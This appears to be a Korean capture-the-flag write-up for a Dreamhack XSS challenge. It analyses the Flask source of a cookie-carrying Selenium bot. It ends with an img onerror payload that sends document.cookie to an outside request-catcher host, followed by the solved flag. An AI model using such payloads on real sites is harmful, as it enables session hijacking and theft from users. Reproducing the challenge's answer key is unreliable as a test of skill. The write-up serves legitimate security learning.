여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
플래그 형식은 DH{…} 입니다.
출처: dreamhack
문제 사이트에 접속하면 vuln(xss)page, memo, flag 페이지가 있습니다.
vuln(xss) 페이지에서는 param 파라미터를 통해 HTML 코드를 작성할 수 있습니다.
(기본으로 작성된 코드는 <script>alert(1)</script>
입니다.)
memo 페이지에서는 memo 파라미터를 통해 텍스트를 이어붙이는 메모장 역할을 하고 있습니다.
flag 페이지에서는 페이로드를 입력하고 전송할 수 있습니다.
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
본 문제에서는 소스코드를 제공하고 있습니다.
압축파일에는 app.py 외에도 static, template 폴더도 존재하지만 문제 해결에 영향을 주는 요소는 아니므로 분석하지 않았습니다.
Code | Description |
---|---|
[read_url 함수] url과 쿠키값을 받는 함수이며 셀레니움 모듈을 통해 입력받은 URL에 접속하고 있습니다. | |
[check_xss 함수] param(flag 페이지에서 POST요청을 보낸 값), 쿠키값을 받는 함수입니다. param 값을 URL인코딩하여 URL이라는 변수에 저장한 후 위에 있는 read_url 함수를 실행한 값을 리턴합니다. URL에 있는 페이지: /vuln | |
루트페이지에서는 index.html을 리턴하고 있습니다./vuln 페이지에서는 vuln.html을 리턴하고 있습니다.GET 메소드로 접근한 /flag 페이지에서는 flag.html을 리턴하고 있습니다.POST 메소드로 접근한 /flag 페이지에서는 param 이라는 값을 받아 if 조건문을 확인 후 결과에 따라 wrong?? /good 이라는 alert을 띄우고 이전페이지로 이동시킵니다.(자세한 내용은 하단에 추가 기술) | |
memo 페이지에서는 memo_text 라는 변수에 GET 파라미터(memo)를 이어붙이는 메모장 페이지 역할을 하고 있습니다. |
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
첫 번째 param은 사용자가 입력한 값(param
)을 받아 변수에 저장합니다.
그다음에 있는 if문에서는 check_xss 함수를 실행합니다. 이때 사용자가 입력한 param
값과 {"name": "flag", "value": FLAG.strip()}
값을 check_xss 함수에 보내게 됩니다.
check_xss 함수는 param, 쿠키값을 받아 param 값을 URL인코딩하여 URL이라는 변수에 저장한 후 read_url 함수로 전달합니다.
read_url 함수에서는 url과 쿠키값을 받아 전달받은 쿠키값을 driver.add_cookie(cookie)
를 통해 셀레니움 봇의 쿠키에 추가하고, 전달받은 url
로 이동합니다.
read_url 함수가 정상적으로 종료될 경우(셀레니움 quit) False
를 리턴하게 되고, 이는 다시 check_xss 함수의 리턴값이 False
로 되게됩니다.
따라서 Flag값을 얻기 위해서는 셀레니움 봇의 쿠키를 탈취해야합니다.
페이로드는 /flag
페이지에서 입력할 수 있고, 여기서 입력한 값을 셀레니움 봇이 /vuln?param=페이로드
페이지로 이동합니다.
따라서 vuln
페이지에서 이것이 작동하는 코드인지 확인할 수 있고, flag
페이지에서 공격을 시도할 수 있습니다.
쿠키는 자바스크립트의 document.cookie
를 통해 가져올 수 있습니다.
하지만 취약점을 확인할 수 있는 vuln
페이지에서 자바스크립트를 사용하기 위해 쓰는 <script>
태그가 차단되어있음을 확인할 수 있습니다.
따라서 document.cookie
를 사용하기 위해서는 약간의 우회가 필요합니다.
대표적인 예로 <img>
태그의 onerror 처리를 들 수 있습니다.
payload: http://host3.dreamhack.games:11877/vuln?param=<img src="1">
<img src=x onerror=this.src='https://enujhf0gvo6cm.x.pipedream.net/'+document.cookie;>
DH{3c01577e9542ec24d68ba0ffb846508f}